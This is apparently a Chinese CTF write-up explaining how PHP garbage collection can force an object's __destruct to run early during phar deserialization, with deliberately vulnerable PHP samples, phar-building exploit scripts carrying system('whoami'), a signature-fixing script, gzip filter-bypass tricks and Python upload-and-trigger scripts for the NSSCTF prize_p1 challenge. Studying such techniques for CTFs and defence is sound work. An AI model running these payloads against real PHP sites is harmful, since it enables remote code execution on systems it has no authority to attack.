浅析GC回收机制与phar反序列化

浅析GC回收机制与phar反序列化

前段时间做Xenny师傅的平台NSSCTF遇到了一道利用GC回收机制,实现phar反序列化的题,然后上周我们学校举办的校赛GFCTF同样遇到了一道考点相似的题,那道题还要更难一点,要配合多种filter过滤器来吃掉脏数据,不过原理是差不多的;后面会专门写一篇文章来解析那道题

前言

我们先来看看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
//error_reporting(0);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$data = $_POST[0];
file_put_contents("a.txt", $data);
$filename = $_GET['filename'];
file_get_contents($filename);
?>

可以看到是很简单的一个的一个反序列化,唯一的难点就是怎么把完整的phar文件通过file_put_contents上传上去,写入到a.txt中,说实话这个问题困扰了我挺久的,用了很多种网上的方法也都不太行,因为我们都知道一个phar文件中有大量不可见的字符,肯定是没办法直接cv复制粘贴的,然后我也试过先将它url编码之后再复制粘贴上去,但还是不行,不知道是为什么,我也对比过他们前后的16进制文件,确实是存在一些细微的差别,可能就是因为这个让它无法正常解析,经过不懈尝试后,我发现用python先读取文件再发包是可以的,我们先来把生成phar文件的exp写了:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $code = "system('whoami');";
}
$a = new Test();
$phar = new Phar("arsenetang.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","aaaaaaatest");
$phar -> stopBuffering();
?>

然后就是通过python发包将这个arsenetang.phar文件上传上去并且触发phar反序列化了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = 'http://x.xx.xx.xxx:7676/test.php'
res = requests.post(
url,
params={
'filename': 'phar://a.txt'
},
data={
0: open('./arsenetang.phar', 'rb').read()
}
) # 写入并触发
print(res.text)

image.png

PHP Garbage collection机制

上面那种情况之所以可以成功,是因为程序在正常结束的时候自动触发了__destruct(),进而执行了__destruct()中的代码;那么假如由于种种原因,程序不能正常结束,那我们还有没有办法能让它触发__destruct()呢?

这里就要提到我们本文的主人公了,在PHP中,是拥有垃圾回收机制Garbage collection的,也就是我们常说的GC机制的,在PHP中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的__destruct(),我们可以去官方文档中查询:https://www.php.net/manual/zh/features.gc.collecting-cycles.php,重点内容如下图:

image.png

那接下来我们就在代码中来看看GC机制实际上是怎么工作的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class obj {
function __construct($i) {
$this->i = $i;
echo $this->i."Create...";
echo "</br>";
}
function __destruct() {
echo $this->i."Destroy...";
echo "</br>";
}
}
new obj('1');
$a = new obj('2');
$a = new obj('3');
echo "---------------------------";
echo "</br>";
//整个程序运行结束之后会销毁所有对象,自然会触发__destruct
?>

我们可以先猜猜这段代码的运行结果,对象1被创建之后由于没有任何的引用,那么它立即就会被GC回收机制回收掉,从而立即进入到__destruct()中;然后新建一个对象2,并将它赋值给$a,那么现在它是正常的,有引用的;但是这时又新建了一个对象3,并将它赋值给了$a,那么这个时候对象2就没有引用了,那么它就会立即被销毁;最后整个程序正常运行结束,销毁所有对象,于是也就销毁了对象3,根据分析,运行结果应该如下:

image.png

GC在phar反序列化中实际运用

在了解了GC回收机制之后,我们知道了当一个对象失去了引用之后,它就会被当成垃圾回收掉,那么这跟phar反序列化有什么关系呢,我们再来看看下面这段代码,跟第一次相比只是多了一个异常退出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
//error_reporting(0);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$data = $_POST[0];
file_put_contents("a.txt", $data);
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("这不合理");
?>

别看只加了一句话,我们利用的难度瞬间就加大了,因为有了这一句异常退出以后,程序不再是正常退出的了,不是正常退出就不会触发__destruct()了,那我们自然也就无法直接利用了;所以说我们得想个办法让它提前进入到__destruct()中,也就是让这个对象提前被回收掉,这时候我们就想到GC回收机制了,我们可以先将这个对象赋值给一个变量,然后再将另外一个值赋值给这个变量,这时候这个对象就失去了引用,那么它就会立即被回收掉了,利用数组试着实现它:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test{
public $code = "system('whoami');";
}
$a[] = new Test();
$a[] = 1;
$phar = new Phar("arsenetang.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","aaaaaaatest");
$phar -> stopBuffering();
?>

先看看它生成的phar文件长什么样:

image.png

那么假如我们把前面的i:1改为i:0,那么前面那个对象就会由于失去了引用,从而被GC回收机制自动回收掉,但这时又会引发一个新的问题,由于我们是后面自己去改的数据,而它phar文件的签名是第一次生成文件的时候自动生成的,那么当我们修改数据过后,由于签名错误,那么这个phar文件就会被当成是一个损坏的phar文件,是无法被正常解析的,所以就得想个办法重新生成正确的phar文件,我们来先看看一个phar文件的签名的格式:

image.png

可以看到,最后四个字节固定是GBMB,然后再往前四个字节是⽤来指定签名的算法,可能是MD5、SHA1、SHA256、SHA512,默认是SHA1,长度为20个字节,所以说签名部分就是末尾的28个字节,那我们去掉末尾的28个字节,再利用sha1算法对文件进行加密,就可以得到正确的签名了,这里我就抄Xenny师傅的修改签名的脚本了,当然我们也可以手动补全签名

image.png

1
2
3
4
5
6
7
8
9
10
11
12
import gzip
from hashlib import sha1

file = open("arsenetang.phar","rb").read()

text = file[:-28] #读取开始到末尾除签名外内容

last = file[-8:] #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。

open("arsenetang2.phar","wb").write(new_file)

那我们首先修改序列化的字符串,再放入脚本中生成签名正确的phar文件就好了,然后我们还是用一样的方法利用脚本将phar文件写进a.txt,再触发就行了

image.png

可以看到虽然它确实是异常退出了,并且输出了这不合理,不过在退出之前它就已经触发了__destruct(),成功反序列化

例题解析 — NSSCTF prize_p1

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}

class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

有了前面的基础,我想这道题已经比较容易了,这里唯一的难点就是过滤了一些危险字符串,而我们传入的phar文件中肯定是存在flag字符的,所以说我们需要绕过它,在这篇文章中:https://guokeya.github.io/post/uxwHLckwx/,我们可以得知,当一个phar文件被gzip、bzip2、tar、zip等操作过后,依然可以利用phar://协议来正常读取,但文件被操作过后就全变成乱码了,利用这个就可以绕过过滤,接下来我们来构造exp,首先是写入文件的exp,这个很简单,要读的时候改成r就行

1
2
3
4
5
6
7
<?php
class A {
public $config='w';
}
$a = new A();
echo serialize($a);
?>

然后就是生成phar文件的exp,记得加上数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
class getflag {
}
$a[] = new getflag();
$a[] = 1;
@unlink("ars.phar");
$phar = new Phar("ars.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar -> stopBuffering();
?>

image.png

然后把前面的i:1改成i:0之后改签名,改完之后,还是一样的利用脚本将phar文件写进文件就行,脚本如下,同样是抄的Xenny的,这里的脚本稍微有点不同就是因为先要用zip压缩一下再传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import gzip
import re

url = 'http://xxx.nss.ctfer.vip:9080/'

file = open("./ars2.phar", "rb") #打开文件
file_out = gzip.open("./ars2.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
url,
params={
0: 'O:1:"A":{s:6:"config";s:1:"w";}'
},
data={
0: open('./ars2.zip', 'rb').read()
}
) # 写入

res = requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
},
data={
0: 'phar://tmp/a.txt'
}
) # 触发

flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)

这个我在本地复现是没有问题的,但我放到题目里发现怎么都打不通,检查之后发现它的./tmp/a.txt里面写不进东西了,不知道是个啥情况,不过能学到这个知识就挺好的了